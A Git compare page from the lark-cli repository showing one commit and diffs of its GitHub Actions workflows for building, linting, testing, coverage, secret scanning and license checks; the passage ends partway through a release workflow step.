Compare commits

..

1 Commits

Author SHA1 Message Date
chenhuang
b88039eeca fix: improve error message when auto-detected identity is unsupported
When a user-only shortcut is invoked without --as and auto-detect
resolves to bot (no login / expired token), show a clear message
suggesting `lark-cli auth login` instead of the misleading
"--as bot is not supported".

Change-Id: I684e6a422a907f428a68e8e4724fa8c50b13045d
Co-Authored-By: AI
2026-04-13 15:55:20 +08:00
2270 changed files with 26290 additions and 516383 deletions

View File

@@ -6,6 +6,3 @@ coverage:
patch:
default:
target: 60%
github_checks:
annotations: true

30
.github/CODEOWNERS vendored
View File

@@ -1,30 +0,0 @@
/internal/ @liangshuo-1
# Last match wins: existing domains below are exempt, only new skills/ entries need review.
/skills/ @liangshuo-1
/skills/lark-approval/
/skills/lark-apps/
/skills/lark-attendance/
/skills/lark-base/
/skills/lark-calendar/
/skills/lark-contact/
/skills/lark-doc/
/skills/lark-drive/
/skills/lark-event/
/skills/lark-im/
/skills/lark-mail/
/skills/lark-markdown/
/skills/lark-minutes/
/skills/lark-okr/
/skills/lark-openapi-explorer/
/skills/lark-shared/
/skills/lark-sheets/
/skills/lark-skill-maker/
/skills/lark-slides/
/skills/lark-task/
/skills/lark-vc/
/skills/lark-vc-agent/
/skills/lark-whiteboard/
/skills/lark-wiki/
/skills/lark-workflow-meeting-summary/
/skills/lark-workflow-standup-report/

View File

@@ -9,7 +9,7 @@
## Test Plan
<!-- Describe how this change was verified. -->
- [ ] Unit tests pass
- [ ] Manual local verification confirms the `lark-cli <domain> <command>` flow works as expected
- [ ] Manual local verification confirms the `lark xxx` command works as expected
## Related Issues
<!-- Link related issues. Use Closes/Fixes to close them automatically. -->

View File

@@ -1,116 +0,0 @@
name: Architecture Audit
on:
schedule:
- cron: '0 9 * * 1' # Monday 09:00 UTC
workflow_dispatch:
permissions:
contents: read
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Dead code detection
run: |
echo "## Dead Code" >> report.md
go run golang.org/x/tools/cmd/deadcode@v0.31.0 -test ./... 2>&1 | tee deadcode.txt
count=$(wc -l < deadcode.txt | tr -d ' ')
echo "Found **$count** unreachable functions" >> report.md
echo '```' >> report.md
cat deadcode.txt >> report.md
echo '```' >> report.md
- name: Package complexity
run: |
echo "## Package Complexity" >> report.md
echo "" >> report.md
echo "Packages exceeding 2 000 lines or 20 files:" >> report.md
echo "" >> report.md
echo "| Package | Files | Lines | Deps |" >> report.md
echo "|---------|-------|-------|------|" >> report.md
found=0
for pkg in $(go list ./cmd/... ./internal/... ./shortcuts/...); do
dir=$(go list -f '{{.Dir}}' "$pkg")
files=$(find "$dir" -maxdepth 1 -name '*.go' ! -name '*_test.go' | wc -l | tr -d ' ')
lines=$(find "$dir" -maxdepth 1 -name '*.go' ! -name '*_test.go' -exec cat {} + 2>/dev/null | wc -l | tr -d ' ')
deps=$(go list -f '{{len .Imports}}' "$pkg")
if [ "$lines" -gt 2000 ] || [ "$files" -gt 20 ]; then
echo "| **$pkg** | **$files** | **$lines** | **$deps** |" >> report.md
found=1
fi
done
if [ "$found" = "0" ]; then
echo "| _(none)_ | | | |" >> report.md
fi
- name: Dependency freshness
run: |
echo "## Outdated Dependencies" >> report.md
echo '```' >> report.md
go list -m -u all 2>/dev/null | grep '\[' >> report.md || echo "All dependencies up to date" >> report.md
echo '```' >> report.md
- name: Circular dependency check
run: |
echo "## Circular Dependencies" >> report.md
go list -f '{{.ImportPath}} {{join .Imports " "}}' ./... | \
go run golang.org/x/tools/cmd/digraph@v0.31.0 scc 2>&1 | tee cycles.txt
if [ -s cycles.txt ]; then
echo '```' >> report.md
cat cycles.txt >> report.md
echo '```' >> report.md
else
echo "No circular dependencies detected." >> report.md
fi
- name: E2E coverage gaps
run: |
echo "## E2E Coverage Gaps" >> report.md
echo "" >> report.md
echo "Shortcut domains without E2E tests:" >> report.md
echo "" >> report.md
found=0
for domain in $(ls -d shortcuts/*/); do
name=$(basename "$domain")
if [ "$name" = "common" ]; then continue; fi
if [ ! -d "tests/cli_e2e/$name" ]; then
echo "- **$name** (no tests/cli_e2e/$name/)" >> report.md
found=1
fi
done
if [ "$found" = "0" ]; then
echo "All shortcut domains have E2E test directories." >> report.md
fi
- name: Coverage
run: |
echo "## Coverage" >> report.md
packages=$(go list ./... | grep -v 'tests/cli_e2e')
go test -coverprofile=coverage.txt -covermode=atomic $packages 2>/dev/null || true
total=$(go tool cover -func=coverage.txt 2>/dev/null | grep total | awk '{print $3}')
echo "Current total coverage: **${total:-n/a}**" >> report.md
- name: Publish report
run: |
echo "# Architecture Audit Report — $(date +%Y-%m-%d)" > $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
cat report.md >> $GITHUB_STEP_SUMMARY
- name: Upload report artifact
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: arch-audit-${{ github.run_number }}
path: report.md
retention-days: 90

View File

@@ -1,421 +0,0 @@
name: CI
on:
push:
branches: [main]
pull_request:
branches: [main]
types: [opened, synchronize, reopened, edited]
workflow_dispatch:
permissions:
contents: read
actions: read
jobs:
# ── Layer 1: Fast Gate ─────────────────────────────────────────────
fast-gate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Build
run: go build ./...
- name: Vet
run: go vet ./...
- name: Check formatting
run: |
unformatted=$(gofmt -l .)
if [ -n "$unformatted" ]; then
echo "$unformatted"
echo "::error::Unformatted Go files detected — run 'gofmt -w .' and commit"
exit 1
fi
- name: Check go.mod tidiness
run: |
go mod tidy
if ! git diff --quiet go.mod go.sum; then
echo "::error::go.mod or go.sum is not tidy. Run 'go mod tidy' and commit the changes."
git diff go.mod go.sum
exit 1
fi
# ── Layer 2: Quality Gate ──────────────────────────────────────────
unit-test:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Run tests
run: go test -v -race -count=1 -timeout=5m ./cmd/... ./internal/... ./shortcuts/... ./extension/...
lint:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Resolve changed-from baseline
env:
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
- name: Run golangci-lint
run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev="$QUALITY_GATE_CHANGED_FROM"
- name: Run errs/ lint guards (lintcheck)
run: go run -C lint . --changed-from "$QUALITY_GATE_CHANGED_FROM" ..
script-test:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: '22'
- name: Run script tests
run: make script-test
deterministic-gate:
needs: fast-gate
runs-on: ubuntu-latest
permissions:
contents: read
actions: read
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Resolve changed-from baseline
env:
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
- name: Write public content metadata
if: ${{ github.event_name == 'pull_request' }}
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_BODY: ${{ github.event.pull_request.body }}
PR_BRANCH: ${{ github.head_ref }}
run: |
mkdir -p .tmp/quality-gate
python3 - <<'PY'
import json
import os
with open(".tmp/quality-gate/public-content-metadata.json", "w", encoding="utf-8") as f:
json.dump({
"title": os.environ.get("PR_TITLE", ""),
"body": os.environ.get("PR_BODY", ""),
"branch": os.environ.get("PR_BRANCH", ""),
}, f)
f.write("\n")
PY
- name: Run CLI deterministic gate
run: PUBLIC_CONTENT_METADATA=.tmp/quality-gate/public-content-metadata.json make quality-gate
- name: Upload quality gate facts
if: ${{ always() && github.event_name == 'pull_request' }}
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: quality-gate-facts-${{ github.event.pull_request.base.sha }}-${{ github.event.pull_request.head.sha }}
path: .tmp/quality-gate/facts.json
if-no-files-found: error
retention-days: 7
coverage:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Run tests with coverage
run: |
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
go test -race -coverprofile=coverage.txt -covermode=atomic $packages
- name: Upload coverage to Codecov
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
uses: codecov/codecov-action@3f20e214133d0983f9a10f3d63b0faf9241a3daa # v6
with:
files: coverage.txt
token: ${{ secrets.CODECOV_TOKEN }}
- name: Check coverage threshold
run: |
total=$(go tool cover -func=coverage.txt | grep total | awk '{print $3}' | tr -d '%')
threshold=40
echo "Coverage: ${total}% (threshold: ${threshold}%)"
if (( $(echo "$total < $threshold" | bc -l) )); then
echo "::error::Coverage ${total}% is below threshold ${threshold}%"
exit 1
fi
- name: Coverage summary
if: ${{ !cancelled() }}
run: |
if [ ! -f coverage.txt ]; then
echo "No coverage data available" >> $GITHUB_STEP_SUMMARY
exit 0
fi
total=$(go tool cover -func=coverage.txt | grep total | awk '{print $3}')
echo "## Coverage Report" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "**Total coverage: ${total}**" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "<details><summary>Details</summary>" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
go tool cover -func=coverage.txt >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "</details>" >> $GITHUB_STEP_SUMMARY
deadcode:
needs: fast-gate
if: ${{ github.event_name == 'pull_request' }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Dead code check (incremental)
run: |
# Analyze current HEAD (strip line:col for stable diff across line shifts)
# Filter "go: downloading ..." lines to avoid false diffs from module cache state
go run golang.org/x/tools/cmd/deadcode@v0.31.0 -test ./... 2>&1 | \
grep -v '^go: ' | \
sed 's/:[0-9][0-9]*:[0-9][0-9]*:/:/' | sort > /tmp/dc-head.txt
# Analyze base branch via worktree
git worktree add -q /tmp/dc-base "origin/${{ github.base_ref }}"
(cd /tmp/dc-base && python3 scripts/fetch_meta.py && \
go run golang.org/x/tools/cmd/deadcode@v0.31.0 -test ./... 2>&1 | \
grep -v '^go: ' | \
sed 's/:[0-9][0-9]*:[0-9][0-9]*:/:/' | sort > /tmp/dc-base.txt) || {
echo "::warning::Failed to analyze base branch — skipping incremental dead code check"
git worktree remove -f /tmp/dc-base 2>/dev/null || true
exit 0
}
git worktree remove -f /tmp/dc-base
# Only new dead code blocks the PR
comm -23 /tmp/dc-head.txt /tmp/dc-base.txt > /tmp/dc-new.txt
if [ -s /tmp/dc-new.txt ]; then
echo "::group::New dead code"
cat /tmp/dc-new.txt
echo "::endgroup::"
echo "::error::New dead code detected — remove unreachable functions before merging"
exit 1
fi
echo "No new dead code introduced"
# ── Layer 3: E2E Gate ──────────────────────────────────────────────
e2e-dry-run:
needs: [unit-test, lint, script-test, deterministic-gate]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Build lark-cli
run: make build
- name: Run dry-run E2E tests
env:
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
LARKSUITE_CLI_APP_ID: dry-run
LARKSUITE_CLI_APP_SECRET: dry-run
LARKSUITE_CLI_BRAND: feishu
run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'
e2e-live:
needs: [unit-test, lint, script-test, deterministic-gate]
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
runs-on: ubuntu-latest
permissions:
contents: read
checks: write
env:
TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Build lark-cli
run: make build
- name: Configure bot credentials
run: |
if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
exit 1
fi
printf '%s\n' "$TEST_BOT1_APP_SECRET" | ./lark-cli config init --app-id "$TEST_BOT1_APP_ID" --app-secret-stdin
- name: Run CLI E2E tests
env:
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
run: |
packages=$(go list ./tests/cli_e2e/... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '/demo$')
if [ -z "$packages" ]; then
echo "No CLI E2E packages to test after exclusions."
exit 1
fi
packages_arg=$(printf '%s\n' "$packages" | paste -sd' ' -)
go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages_arg" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
- name: Publish CLI E2E test report
if: ${{ !cancelled() }}
uses: dorny/test-reporter@a43b3a5f7366b97d083190328d2c652e1a8b6aa2 # v3.0.0
with:
name: CLI E2E Tests
path: cli-e2e-report.xml
reporter: java-junit
use-actions-summary: true
list-suites: all
list-tests: all
# ── Layer 4: Security & Compliance (parallel with L2-L3) ──────────
security:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: read
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Gitleaks
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
uses: gitleaks/gitleaks-action@ff98106e4c7b2bc287b24eaf42907196329070c7 # v2.3.9
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_KEY }}
- name: govulncheck
continue-on-error: true
run: go run golang.org/x/vuln/cmd/govulncheck@v1.1.4 ./...
- name: Check dependency licenses
run: go run github.com/google/go-licenses/v2@v2.0.1 check ./... --disallowed_types=forbidden,restricted,reciprocal,unknown
license-header:
if: ${{ github.event_name == 'pull_request' }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- name: Check license headers
uses: apache/skywalking-eyes/header@8c96ee223558797cdd9eba82c0919258e1cf2dad
with:
config: .licenserc.yaml
# ── Results Gate (single required check for branch protection) ─────
results:
if: ${{ always() }}
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
runs-on: ubuntu-latest
steps:
- name: Evaluate results
run: |
echo "## CI Results" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "| Layer | Job | Status |" >> $GITHUB_STEP_SUMMARY
echo "|-------|-----|--------|" >> $GITHUB_STEP_SUMMARY
echo "| L1 | fast-gate | ${{ needs.fast-gate.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | unit-test | ${{ needs.unit-test.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | lint | ${{ needs.lint.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | script-test | ${{ needs.script-test.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | deterministic-gate | ${{ needs.deterministic-gate.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | coverage | ${{ needs.coverage.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | deadcode | ${{ needs.deadcode.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L3 | e2e-dry-run | ${{ needs.e2e-dry-run.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L3 | e2e-live | ${{ needs.e2e-live.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | security | ${{ needs.security.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L4 | license-header | ${{ needs.license-header.result }} |" >> $GITHUB_STEP_SUMMARY
# Any failure or cancellation in any job blocks the merge.
# Legitimately skipped jobs (deadcode on push, e2e-live on fork,
# license-header on push) are OK.
FAILED=0
for result in \
"${{ needs.fast-gate.result }}" \
"${{ needs.unit-test.result }}" \
"${{ needs.lint.result }}" \
"${{ needs.script-test.result }}" \
"${{ needs.deterministic-gate.result }}" \
"${{ needs.coverage.result }}" \
"${{ needs.deadcode.result }}" \
"${{ needs.e2e-dry-run.result }}" \
"${{ needs.e2e-live.result }}" \
"${{ needs.security.result }}" \
"${{ needs.license-header.result }}"; do
if [ "$result" = "failure" ] || [ "$result" = "cancelled" ]; then
FAILED=1
fi
done
if [ "$FAILED" = "1" ]; then
echo ""
echo "::error::One or more CI jobs failed — see table above"
exit 1
fi

135
.github/workflows/cli-e2e.yml vendored Normal file
View File

@@ -0,0 +1,135 @@
name: CLI E2E Tests
on:
push:
branches: [main]
paths:
- "**.go"
- go.mod
- go.sum
- Makefile
- scripts/fetch_meta.py
- tests/cli_e2e/**
- .github/workflows/cli-e2e.yml
pull_request:
branches: [main]
paths:
- "**.go"
- go.mod
- go.sum
- Makefile
- scripts/fetch_meta.py
- tests/cli_e2e/**
- .github/workflows/cli-e2e.yml
workflow_dispatch:
permissions:
contents: read
jobs:
cli-e2e:
# Forked pull_request runs do not receive repository/org secrets except GITHUB_TOKEN.
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
runs-on: ubuntu-latest
env:
TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
python-version: '3.x'
- name: Build lark-cli
run: make build
- name: Configure bot credentials
run: |
if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
exit 1
fi
printf '%s\n' "$TEST_BOT1_APP_SECRET" | ./lark-cli config init --app-id "$TEST_BOT1_APP_ID" --app-secret-stdin
- name: Run CLI E2E tests
env:
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
run: |
packages=$(go list ./tests/cli_e2e/... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '/demo$')
if [ -z "$packages" ]; then
echo "No CLI E2E packages to test after exclusions."
exit 1
fi
go run gotest.tools/gotestsum@v1.12.3 --format testname --junitfile cli-e2e-report.xml -- -count=1 -v $packages
- name: Summarize CLI E2E test report
if: ${{ !cancelled() }}
run: |
python3 - <<'PY'
import os
import xml.etree.ElementTree as ET
report_path = "cli-e2e-report.xml"
summary_path = os.environ["GITHUB_STEP_SUMMARY"]
root = ET.parse(report_path).getroot()
suites = [root] if root.tag == "testsuite" else root.findall("testsuite")
tests = failures = errors = skipped = 0
failed_cases = []
skipped_cases = []
for suite in suites:
tests += int(suite.attrib.get("tests", 0))
failures += int(suite.attrib.get("failures", 0))
errors += int(suite.attrib.get("errors", 0))
skipped += int(suite.attrib.get("skipped", 0))
for case in suite.findall("testcase"):
classname = case.attrib.get("classname", "")
name = case.attrib.get("name", "")
label = f"{classname}.{name}" if classname else name
failure = case.find("failure")
error = case.find("error")
skipped_node = case.find("skipped")
if failure is not None or error is not None:
message = ""
node = failure if failure is not None else error
if node is not None:
message = node.attrib.get("message", "") or (node.text or "").strip()
failed_cases.append((label, message))
elif skipped_node is not None:
message = skipped_node.attrib.get("message", "") or (skipped_node.text or "").strip()
skipped_cases.append((label, message))
passed = tests - failures - errors - skipped
with open(summary_path, "a", encoding="utf-8") as f:
f.write("## CLI E2E Test Report\n\n")
f.write(f"- Total: {tests}\n")
f.write(f"- Passed: {passed}\n")
f.write(f"- Failed: {failures}\n")
f.write(f"- Errors: {errors}\n")
f.write(f"- Skipped: {skipped}\n\n")
if failed_cases:
f.write("### Failed Tests\n\n")
for label, message in failed_cases:
detail = f" - {message}" if message else ""
f.write(f"- `{label}`{detail}\n")
f.write("\n")
if skipped_cases:
f.write("### Skipped Tests\n\n")
for label, message in skipped_cases:
detail = f" - {message}" if message else ""
f.write(f"- `{label}`{detail}\n")
f.write("\n")
PY

View File

@@ -1,28 +0,0 @@
name: Comment Audit
on:
issue_comment:
types: [created, edited]
pull_request_review:
types: [submitted, edited]
pull_request_review_comment:
types: [created, edited]
permissions:
contents: read
jobs:
public-content-comment-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- name: Post-publication comment audit
run: |
mkdir -p .tmp/comment-audit
cp "$GITHUB_EVENT_PATH" .tmp/comment-audit/event.json
go run ./internal/qualitygate/cmd/comment-audit --event .tmp/comment-audit/event.json --kind "$GITHUB_EVENT_NAME"

58
.github/workflows/coverage.yml vendored Normal file
View File

@@ -0,0 +1,58 @@
name: Coverage
on:
push:
branches: [main]
paths:
- "**.go"
- "!tests/cli_e2e/**"
- go.mod
- go.sum
- .github/workflows/coverage.yml
pull_request:
branches: [main]
paths:
- "**.go"
- "!tests/cli_e2e/**"
- go.mod
- go.sum
- .github/workflows/coverage.yml
permissions:
contents: read
jobs:
coverage:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5
with:
go-version-file: go.mod
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5
with:
python-version: '3.x'
- name: Fetch meta data
run: python3 scripts/fetch_meta.py
- name: Run tests with coverage
run: |
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
go test -race -coverprofile=coverage.txt -covermode=atomic $packages
- name: Generate coverage report
run: |
total=$(go tool cover -func=coverage.txt | grep total | awk '{print $3}')
echo "## Coverage Report" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "**Total coverage: ${total}**" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "<details><summary>Details</summary>" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
go tool cover -func=coverage.txt >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "</details>" >> $GITHUB_STEP_SUMMARY

28
.github/workflows/gitleaks.yml vendored Normal file
View File

@@ -0,0 +1,28 @@
name: Gitleaks
on:
pull_request:
branches: [main]
push:
branches: [main]
workflow_dispatch:
permissions:
contents: read
jobs:
gitleaks:
# Forked pull_request runs do not receive repository/org secrets except GITHUB_TOKEN.
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
- uses: gitleaks/gitleaks-action@ff98106e4c7b2bc287b24eaf42907196329070c7 # v2.3.9
env:
# GITHUB_TOKEN is provided automatically by GitHub Actions.
# GITLEAKS_KEY must be configured as a repository secret.
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_KEY }}

26
.github/workflows/license-header.yml vendored Normal file
View File

@@ -0,0 +1,26 @@
name: License Header
on:
pull_request:
branches: [main]
paths:
- "**/*.go"
- "**/*.js"
- "**/*.py"
- .licenserc.yaml
- .github/workflows/license-header.yml
permissions:
contents: read
pull-requests: write
jobs:
header-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
- name: Check license headers
uses: apache/skywalking-eyes/header@8c96ee223558797cdd9eba82c0919258e1cf2dad
with:
config: .licenserc.yaml

60
.github/workflows/lint.yml vendored Normal file
View File

@@ -0,0 +1,60 @@
name: Lint
on:
push:
branches: [main]
paths:
- "**.go"
- go.mod
- go.sum
- .golangci.yml
- .github/workflows/lint.yml
pull_request:
branches: [main]
paths:
- "**.go"
- go.mod
- go.sum
- .golangci.yml
- .github/workflows/lint.yml
permissions:
contents: read
jobs:
golangci-lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
fetch-depth: 0
- uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5
with:
go-version-file: go.mod
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5
with:
python-version: '3.x'
- name: Fetch meta_data.json
run: python3 scripts/fetch_meta.py
- name: Ensure go.mod and go.sum are tidy
run: |
go mod tidy
if ! git diff --quiet go.mod go.sum; then
echo "::error::go.mod or go.sum is not tidy. Run 'go mod tidy' and commit the changes."
git diff go.mod go.sum
exit 1
fi
- name: Run golangci-lint
run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev=origin/main
- name: Run govulncheck
continue-on-error: true # informational until Go version is upgraded
run: go run golang.org/x/vuln/cmd/govulncheck@v1.1.4 ./...
- name: Check dependency licenses
run: go run github.com/google/go-licenses/v2@v2.0.1 check ./... --disallowed_types=forbidden,restricted,reciprocal,unknown

View File

@@ -45,15 +45,6 @@ jobs:
node-version: '20'
registry-url: 'https://registry.npmjs.org'
- name: Download checksums from release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
